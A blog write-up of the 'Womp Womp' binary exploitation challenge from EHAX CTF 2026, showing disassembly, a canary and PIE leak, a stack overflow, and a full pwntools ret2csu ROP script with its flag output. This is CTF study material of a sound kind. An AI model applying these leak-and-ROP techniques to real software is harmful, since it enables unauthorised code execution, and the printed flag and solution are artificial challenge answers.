1129 words
6 minutes
EHAX CTF 2026 - Womp Womp - Binary Exploitation Writeup

Category: Binary Exploitation
Flag: EH4X{r0pp3d_th3_w0mp3d}

Challenge Description#

Hippity hoppity the flag is not your property

Analysis#

I started by unpacking the handout and immediately got the important clue: this was a two-binary setup (challenge + libcoreio.so), which usually means the main binary has the bug and the shared object hides the win path.

unzip -l "handout_womp_womp.zip"
Archive:  handout_womp_womp.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  02-28-2026 00:42   handout/
    13016  02-28-2026 00:42   handout/challenge
     8416  02-28-2026 00:42   handout/libcoreio.so

Quick triage showed exactly the kind of target that rewards leak-first exploitation: PIE, canary, NX, full RELRO, and a not-stripped ELF. Not stripped mattered a lot here because function names like submit_note, review_note, and finalize_entry made the intended flow obvious right away.

file "handout/challenge" "handout/libcoreio.so"
handout/challenge:    ELF 64-bit LSB pie executable, x86-64, ... not stripped
handout/libcoreio.so: ELF 64-bit LSB shared object, x86-64, ... not stripped
checksec "handout/challenge"
[*] '/home/rei/Downloads/handout/challenge'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RPATH:      b'.'
    Stripped:   No

Disassembling challenge made the full exploit shape click. submit_note reads 0x40 bytes into a stack buffer and then writes 0x58 bytes back, which leaks past the buffer into stack metadata. review_note does the same pattern with 0x20 read and 0x30 write, and that leak includes the stack-stored function pointer to finalize_note, which gives a PIE leak. Then finalize_entry performs the real overflow by reading 0x190 bytes into rbp-0x48.

objdump -d -M intel "handout/challenge"
00000000000009b7 <submit_note>:
 ...
 9f5: e8 26 fe ff ff        call   820 <read@plt>      ; read(..., 0x40)
 ...
 a21: e8 ea fd ff ff        call   810 <write@plt>     ; write(..., 0x58)

0000000000000a53 <review_note>:
 ...
 a9c: e8 7f fd ff ff        call   820 <read@plt>      ; read(..., 0x20)
 ...
 ac8: e8 43 fd ff ff        call   810 <write@plt>     ; write(..., 0x30)

0000000000000afa <finalize_entry>:
 ...
 b33: 48 83 c0 08           add    rax,0x8             ; target is rbp-0x48
 b37: ba 90 01 00 00        mov    edx,0x190
 b44: e8 d7 fc ff ff        call   820 <read@plt>

The shared object confirmed the end goal: emit_report checks three exact magic arguments and, if they match, opens and prints flag.txt. So the exploit only needed to call emit_report with controlled rdi/rsi/rdx.

objdump -d -M intel "handout/libcoreio.so"
00000000000007c0 <emit_report>:
 ...
 7ef: 48 b8 ef be ad de ef be ad de  movabs rax,0xdeadbeefdeadbeef
 7f9: 48 39 85 d8 fe ff ff            cmp QWORD PTR [rbp-0x128],rax
 ...
 802: 48 b8 be ba fe ca be ba fe ca  movabs rax,0xcafebabecafebabe
 ...
 815: 48 b8 0d f0 0d d0 0d f0 0d d0  movabs rax,0xd00df00dd00df00d
 ...
 87b: 48 8d 3d ee 00 00 00            lea rdi,[rip+0xee]  # "flag.txt"
 ...
 924: 48 89 c6                         mov rsi,rax
 927: bf 01 00 00 00                   mov edi,0x1
 92c: e8 3f fd ff ff                   call 670 <write@plt>

The only annoyance was gadget quality: there was pop rdi and pop rsi, but no clean pop rdx. I initially wished for a straightforward 3-pop chain, then realized this binary already contained the classic __libc_csu_init sequence, which is perfect for setting rdx via r13.

cry

ROPgadget --binary "handout/challenge" --only "pop|ret"
0x0000000000000ca3 : pop rdi ; ret
0x0000000000000ca1 : pop rsi ; pop r15 ; ret
...
Unique gadgets found: 12
objdump -d -M intel --start-address=0xc70 --stop-address=0xcb0 "handout/challenge"
0000000000000c80 <__libc_csu_init+0x40>:
 c80: 4c 89 ea              mov    rdx,r13
 c83: 4c 89 f6              mov    rsi,r14
 c86: 44 89 ff              mov    edi,r15d
 c89: 41 ff 14 dc           call   QWORD PTR [r12+rbx*8]
 ...
 c9a: 5b                    pop    rbx
 c9b: 5d                    pop    rbp
 c9c: 41 5c                 pop    r12
 c9e: 41 5d                 pop    r13
 ca0: 41 5e                 pop    r14
 ca2: 41 5f                 pop    r15
 ca4: c3                    ret

That made the final chain clean and reliable: leak canary from submit_note, leak PIE from review_note (finalize_note pointer minus 0x980), overflow in finalize_entry, use CSU call #1 to invoke read(0, .data, 8) and place a callable function pointer in writable memory (finalize_note), then CSU call #2 through that pointer with rsi/rdx set to the emit_report magic values, and finish with pop rdi ; ret to set rdi = 0xdeadbeefdeadbeef before jumping to emit_report@plt.

When the remote service printed [VULN] Done. and immediately followed with the flag, that confirmed both the offset math and the CSU argument setup were correct on first full remote run.

dance

from pwn import *

context.arch = "amd64"
io = remote("chall.ehax.in", 1337)

io.recvuntil(b"Input log entry: ")
io.send(b"A" * 0x40)
io.recvuntil(b"[LOG] Entry received: ")
leak1 = io.recvn(0x58)
canary = u64(leak1[0x48:0x50])

io.recvuntil(b"Input processing note: ")
io.send(b"B" * 0x20)
io.recvuntil(b"[PROC] Processing: ")
leak2 = io.recvn(0x30)
finalize_note = u64(leak2[0x20:0x28])
base = finalize_note - 0x980

csu_call = base + 0xC80
csu_pop = base + 0xC9A
pop_rdi = base + 0xCA3
emit_plt = base + 0x838
got_read = base + 0x201FC0
ptr_tbl = base + 0x202000

MAG1 = 0xDEADBEEFDEADBEEF
MAG2 = 0xCAFEBABECAFEBABE
MAG3 = 0xD00DF00DD00DF00D

def csu(funcptr, rdi, rsi, rdx, nxt):
    return (
        p64(csu_pop)
        + p64(0) + p64(1) + p64(funcptr)
        + p64(rdx) + p64(rsi) + p64(rdi)
        + p64(csu_call) + p64(0) + p64(0) * 6 + p64(nxt)
    )

chain = csu(got_read, 0, ptr_tbl, 8, csu_pop)
chain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)
chain += p64(csu_call) + p64(0) + p64(0) * 6
chain += p64(pop_rdi) + p64(MAG1) + p64(emit_plt)

payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain

io.recvuntil(b"Send final payload: ")
io.send(payload)
io.send(p64(finalize_note))

print(io.recvall(timeout=5).decode("latin-1", "ignore"))
[VULN] Done.
EH4X{r0pp3d_th3_w0mp3d}

Solution#

# solve.py
from pwn import *

context.arch = "amd64"

HOST = "chall.ehax.in"
PORT = 1337

MAG1 = 0xDEADBEEFDEADBEEF
MAG2 = 0xCAFEBABECAFEBABE
MAG3 = 0xD00DF00DD00DF00D

io = remote(HOST, PORT)

# Stage 1: leak canary from submit_note
io.recvuntil(b"Input log entry: ")
io.send(b"A" * 0x40)
io.recvuntil(b"[LOG] Entry received: ")
leak1 = io.recvn(0x58)
canary = u64(leak1[0x48:0x50])

# Stage 2: leak PIE from review_note
io.recvuntil(b"Input processing note: ")
io.send(b"B" * 0x20)
io.recvuntil(b"[PROC] Processing: ")
leak2 = io.recvn(0x30)
finalize_note = u64(leak2[0x20:0x28])
pie = finalize_note - 0x980

csu_call = pie + 0xC80
csu_pop = pie + 0xC9A
pop_rdi = pie + 0xCA3
emit_plt = pie + 0x838
got_read = pie + 0x201FC0
ptr_tbl = pie + 0x202000


def csu(funcptr, rdi, rsi, rdx, nxt):
    chain = p64(csu_pop)
    chain += p64(0)          # rbx
    chain += p64(1)          # rbp
    chain += p64(funcptr)    # r12
    chain += p64(rdx)        # r13 -> rdx
    chain += p64(rsi)        # r14 -> rsi
    chain += p64(rdi)        # r15 -> edi
    chain += p64(csu_call)
    chain += p64(0)          # add rsp, 8
    chain += p64(0) * 6      # popped by csu epilogue
    chain += p64(nxt)
    return chain


# First CSU call: read(0, ptr_tbl, 8) to place a function pointer in writable memory
chain = csu(got_read, 0, ptr_tbl, 8, csu_pop)

# Second CSU call: call [ptr_tbl] (finalize_note), load MAGIC2/MAGIC3 into rsi/rdx
chain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)
chain += p64(csu_call)
chain += p64(0) + p64(0) * 6

# Set rdi and jump to emit_report@plt
chain += p64(pop_rdi)
chain += p64(MAG1)
chain += p64(emit_plt)

payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain

io.recvuntil(b"Send final payload: ")
io.send(payload)

# Satisfy read(0, ptr_tbl, 8)
io.send(p64(finalize_note))

print(io.recvall(timeout=5).decode("latin-1", errors="ignore"))
python3.12 solve.py
[VULN] Done.
EH4X{r0pp3d_th3_w0mp3d}
EHAX CTF 2026 - Womp Womp - Binary Exploitation Writeup
https://blog.rei.my.id/posts/66/ehax-ctf-2026-womp-womp-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-01
License
CC BY-NC-SA 4.0